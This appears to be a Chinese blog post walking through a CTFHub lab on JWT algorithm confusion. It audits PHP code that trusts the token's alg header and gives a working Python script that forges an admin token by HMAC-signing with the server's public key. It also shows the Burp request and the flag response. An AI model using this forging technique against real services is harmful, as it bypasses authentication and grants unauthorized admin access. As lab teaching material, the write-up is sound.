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CTFHub Web进阶-Json Web Token通关5：修改签名算法

news 2025/11/12 8:27:20

目录

一、源码分析

1、查看源码

2、代码审计

（1）JWTHelper::decode 方法

（2）攻击场景

①正常流程

②攻击流程

二、渗透实战

1、登录

2、bp抓包

（1）login报文

（2）index报文

3、JWT解密

4、计算token

（1）计算token

（2）源码分析

（3）生成token

5、bp改包获取flag

本文详细讲解CTFHub的Web进阶中Json Web Token的修改签名算法关卡的原理与渗透全流程。通过审计PHP源码发现系统存在算法混淆缺陷：服务器使用RS256算法生成JWT，但验证时信任用户可控的算法字段。攻击者可将算法改为HS256，利用可下载的公钥作为HMAC密钥伪造管理员token。渗透过程包括：1)登录获取初始token；2)分析JWT结构；3)编写Python脚本生成伪造token；4)通过Burp Suite修改请求获取flag。根源在于服务器未严格校验签名算法，导致攻击者可通过算法降级绕过验证。

一、源码分析

1、查看源码

打开靶场，页面提示“有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时，有时攻击者可以获取到公钥，此时可通过修改JWT头部的签名算法，将非对称密码算法改为对称密码算法，从而达到攻击者目的”，具体如下所示。

打开URL地址，进入登录页面，页面同时显示源码，具体如下所示。

对应的php源码如下所示，这段PHP代码实现了一个基于JWT的登录认证系统，存在严重的安全风险。用户登录成功后，服务器使用RS256算法和私钥生成JWT令牌；验证时却从令牌头部读取算法类型，导致攻击者可将算法改为HS256，并用可下载的公钥作为HMAC密钥伪造管理员令牌。由于HS256是对称加密，用公钥签名后服务器会用同一公钥验证通过，使得攻击者无需知晓密码就能获得admin权限并获取FLAG。这属于典型的JWT算法混淆安全风险，核心问题在于验证过程信任了用户可控的算法参数。

<!DOCTYPE html>
<html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title>CTFHub JWTDemo</title><link rel="stylesheet" href="/static/style.css" /></head><body><main id="content"><header>Web Login</header><form id="login-form" method="POST"><input type="text" name="username" placeholder="Username" /><input type="password" name="password" placeholder="Password" /><input type="submit" name="action" value="Login" /></form><a href="/publickey.pem">publickey.pem</a></main><?php echo $_COOKIE['token'];?><hr/></body>
</html><?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;class JWTHelper {public static function encode($payload=array(), $key='', $alg='HS256') {return JWT::encode($payload, $key, $alg);}public static function decode($token, $key, $alg='HS256') {try{$header = JWTHelper::getHeader($token);$algs = array_merge(array($header->alg, $alg));return JWT::decode($token, $key, $algs);} catch(Exception $e){return false;}}public static function getHeader($jwt) {$tks = explode('.', $jwt);list($headb64, $bodyb64, $cryptob64) = $tks;$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));return $header;}
}$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (!empty($_POST['username']) && !empty($_POST['password'])) {$token = "";if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){$jwt_payload = array('username' => $_POST['username'],'role'=> 'admin',);$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');} else {$jwt_payload = array('username' => $_POST['username'],'role'=> 'guest',);$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');}@setcookie("token", $token, time()+1800);header("Location: /index.php");exit();} else {@setcookie("token", "");header("Location: /index.php");exit();}
} else {if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);if ($obj->role === 'admin') {echo $FLAG;}} else {show_source(__FILE__);}
}
?>

2、代码审计

（1）JWTHelper::decode 方法

$header = JWTHelper::getHeader($token); // 从用户提供的 token 中读取头部
$algs = array_merge(array($header->alg, $alg)); // 【致命风险】信任了用户控制的算法！
return JWT::decode($token, $key, $algs); // 使用用户指定的算法进行验证

原理分析：

  • 代码从 JWT 的头部读取算法 ($header->alg)
  • 然后将该算法与默认算法合并作为允许的算法列表
  • 这意味着攻击者可以控制 JWT 使用的签名算法

利用链：

  • 攻击者伪造一个 JWT，将其头部的 alg 改为 HS256（对称加密）。

  • 服务器在解码时，看到 alg 是 HS256，就会尝试使用 HS256 算法进行验证。

  • HS256 需要对称密钥，而代码传入的 $key 是 $PUBLIC_KEY（公钥）。

  • 如果攻击者用这个公钥作为 HMAC 的密钥来签名伪造的 token，服务器就会用同一个公钥去验证，签名匹配，验证通过。

  • 攻击者从而可以伪造一个角色为 admin 的 token，直接获取 $FLAG。

（2）攻击场景

①正常流程
  1. 用户使用 admin + 正确密码登录 → 服务器用 RS256 算法签名 token
  2. 服务器验证时使用 RS256 + 公钥验证签名
②攻击流程
  • 攻击者可以伪造一个 JWT，将头部算法改为 HS256（对称加密）
  • 服务器在验证时，由于允许使用头部指定的算法，会尝试用 HS256 验证
  • 关键：HS256 需要对称密钥，但代码中传入的是 $PUBLIC_KEY
  • 如果攻击者用公钥作为 HMAC 的密钥来签名，服务器会用同样公钥来验证，签名就能通过！

二、渗透实战

1、登录

输入用户名admin，密码ljn，点击登录，如下所示。

登录后页面显示token和源码，如下所示。

页面返回的token值，如下所示。

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6Imd1ZXN0In0.iAnwKLvlvy--MgOBpv98062Ui-UbKs_14KVtgiPLTnrAkXnNdKnCaadCfgYD7nCgSPJuWCUkSHLU2IPZp4BUUJwS6wYenZtXmG_4LPOUj7y4bnvE--vL45aoiWnWDWPOQFQz3eCXPZ2nluICIgVYNlsAGNuOQ-EiXW9LqB4WZBi1VFPmRvcaIedF2ruXzUKOeMqvHV5K4l2dNKy-5kcnMzEU_QRyKzXhdRZJF-eH6Jwka2SY48jN6p23AnZYsNeJBzEOIX2JtUGBCJxq8tN_ykQGyS74azy0tNWDBRVJIF6DD_rZaFMdL3Xf4Jye3mA8oIbPqR9EdkaU-avjHqY1cw

2、bp抓包

（1）login报文

token的第一部分解密后为{"typ":"JWT","alg":"RS256"}，如下所示。

（2）index报文

token的第二部分解密后为{"username":"admin","role":"guest"}，具体如下所示。

将index报文发送到repeater，如下所示。

发送到repeater后报文如下所示，我们接下来通过修改token值完成渗透。

3、JWT解密

jwt在线解密/加密 - JSON中文网

4、计算token

（1）计算token

接下来使用大佬写的脚本来完成token计算，代码如下所示。

第一部分依旧是{"typ":"JWT","alg":"RS256"}

将第二部分改为{"username":"admin","role":"admin"}

# coding=GBK
import hmac
import hashlib
import base64file = open('publickey.pem')  # 需要将文中的publickey下载	与脚本同目录
key = file.read()# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")print(token + "." + sig)

（2）源码分析

token的计算流程如下所示，token值共由三部分组成。

原始数据流程：
header JSON → Base64Url编码 → encodeHeader
payload JSON → Base64Url编码 → encodePayload
encodeHeader + "." + encodePayload → token（待签名数据）签名计算流程：
公钥字符串 → HMAC密钥
token字符串 → 待签名消息
HMAC-SHA256(密钥, 消息) → 二进制签名
二进制签名 → Base64Url编码 → 移除填充 → 最终签名完整JWT：
encodeHeader + "." + encodePayload + "." + 最终签名

基于token计算流程，对python脚本进行详细注释，具体如下所示。

# coding=GBK
# 指定文件编码为GBK，确保中文字符正常显示import hmac      # 导入HMAC模块，用于生成基于哈希的消息认证码
import hashlib   # 导入哈希库，提供SHA256等哈希算法
import base64    # 导入Base64编码模块，用于二进制数据与文本的转换# 读取公钥文件
file = open('publickey.pem')  # 打开公钥文件，该文件从目标网站下载，与脚本在同一目录
key = file.read()             # 读取公钥的全部内容，作为后续HMAC签名的密钥
file.close()                  # 关闭文件（建议添加这行以确保资源释放）# 构造JWT的头部(Header)和载荷(Payload)
header = '{"typ": "JWT", "alg": "HS256"}'        # JWT头部：声明令牌类型为JWT，使用HS256算法（对称加密）
payload = '{"username": "admin", "role": "admin"}' # JWT载荷：包含用户名和角色信息，都设置为admin以获得管理员权限# ==================== 编码头部 ====================
# 对头部进行Base64Url编码（JWT标准要求）
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))  
# 步骤分解：
# 1. header.encode("utf-8") - 将JSON字符串转换为UTF-8编码的字节序列
# 2. base64.urlsafe_b64encode() - 进行URL安全的Base64编码（将+/转换为-_）
# 3. 得到的是字节类型的Base64编码结果encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")
# 步骤分解：
# 1. str(encodeHBytes, "utf-8") - 将字节类型的Base64结果转换为UTF-8字符串
# 2. .rstrip("=") - 移除Base64编码末尾的填充字符'='（JWT标准要求无填充）# ==================== 编码载荷 ====================
# 对载荷进行同样的Base64Url编码处理
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
# 1. payload.encode("utf-8") - 将载荷JSON字符串转为UTF-8字节序列
# 2. base64.urlsafe_b64encode() - URL安全的Base64编码encodePayload = str(encodePBytes, "utf-8").rstrip("=")
# 1. 转换为字符串 2. 移除填充字符'='# ==================== 构造待签名数据 ====================
# 拼接编码后的头部和载荷，形成JWT的前两部分（这是将要被签名的数据）
token = (encodeHeader + "." + encodePayload)
# 格式：base64url(header) + "." + base64url(payload)
# 例如："eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0"# ==================== 生成HMAC签名 ==================== 
# 这是攻击的核心部分：使用公钥作为HMAC的对称密钥来生成签名
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"),        # 密钥：使用公钥内容作为HMAC的对称密钥token.encode("utf-8"),      # 消息：待签名的数据（header.payload）hashlib.sha256              # 算法：使用SHA256哈希函数).digest()                      # 获取二进制的HMAC摘要结果（32字节）
).decode("UTF-8").rstrip("=")      # 对签名进行Base64Url编码并移除填充# 详细步骤解析：
# 1. hmac.new() 创建HMAC对象：
#    - bytes(key, "UTF-8"): 将公钥字符串转换为字节序列作为HMAC密钥
#    - token.encode("utf-8"): 将待签名数据转换为字节序列
#    - hashlib.sha256: 指定使用SHA256算法
#
# 2. .digest(): 生成二进制的HMAC签名结果（32字节的字节序列）
#    例如：b'\x1a\x2b\x3c\x4d...'（共32个字节）
#
# 3. base64.urlsafe_b64encode(): 对二进制签名进行URL安全的Base64编码
#    将二进制数据转换为可打印的ASCII字符，同时将+/转换为-_
#
# 4. .decode("UTF-8"): 将Base64编码的字节序列转换为字符串
#
# 5. .rstrip("="): 移除Base64编码的填充字符'='（符合JWT标准）# ==================== 输出完整JWT ====================
# 拼接完整的JWT令牌：头部.载荷.签名
print(token + "." + sig)
# 最终格式：base64url(header) + "." + base64url(payload) + "." + base64url(signature)
# 示例输出：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.xxxxxxxxxxxxxxxx# ==================== 攻击原理总结 ====================
# 这个伪造的JWT能够通过服务器验证的原因是：
# 1. 服务器代码存在算法混淆安全风险，信任JWT头部声明的算法
# 2. 我们将算法从RS256（非对称）改为HS256（对称）
# 3. 服务器验证时会用公钥作为HMAC密钥重新计算签名
# 4. 由于我们也是用公钥作为HMAC密钥签名的，所以验证通过
# 5. 载荷中的role字段让服务器认为这是管理员，从而获取FLAG

（3）验证过程对比

① 正常流程
服务器签名：RS256 + 私钥
服务器验证：RS256 + 公钥 ✅
② 攻击流程
攻击者签名：HS256 + 公钥（作为HMAC密钥）
服务器验证：HS256 + 公钥（作为HMAC密钥）✅

（4）生成token

将脚本下载(publickey.pem里的全部内容)到和本脚本同目录下，执行后生成token，如下所示。

eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIn0.703D2tPFRX1US2LWyiG7d4MoqlwZ4_79lwbv8u6t8ks

5、bp改包获取flag

在repeater中，将token替换为我们修改后的值并点击发送，如下所示渗透成功。

完整的请求报文如下所示。

GET /index.php HTTP/1.1

Host: challenge-34d913874e5161b1.sandbox.ctfhub.com:10800

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://challenge-34d913874e5161b1.sandbox.ctfhub.com:10800/

Cookie: token=eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIn0.703D2tPFRX1US2LWyiG7d4MoqlwZ4_79lwbv8u6t8ks

DNT: 1

X-Forwarded-For: 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

服务器返回的响应报文如下所示。

HTTP/1.1 200 OK

Server: openresty/1.21.4.2

Date: Thu, 30 Oct 2025 14:01:38 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 796

Connection: close

X-Powered-By: PHP/7.4.5

Vary: Accept-Encoding

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Methods: *

<!DOCTYPE html>

<html>

         <head>

                  <meta charset="utf-8" />

                  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />

                  <title>CTFHub JWTDemo</title>

                  <link rel="stylesheet" href="/static/style.css" />

         </head>

         <body>

                  <main id="content">

                          <header>Web Login</header>

                          <form id="login-form" method="POST">

                                   <input type="text" name="username" placeholder="Username" />

                                   <input type="password" name="password" placeholder="Password" />

                                   <input type="submit" name="action" value="Login" />

                          </form>

                          <a href="/publickey.pem">publickey.pem</a>

                  </main>

                  eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIn0.703D2tPFRX1US2LWyiG7d4MoqlwZ4_79lwbv8u6t8ks          <hr/>

         </body>

</html>

ctfhub{8efa2367fde28e8c2546b87f}

http://www.dtcms.com/a/597569.html

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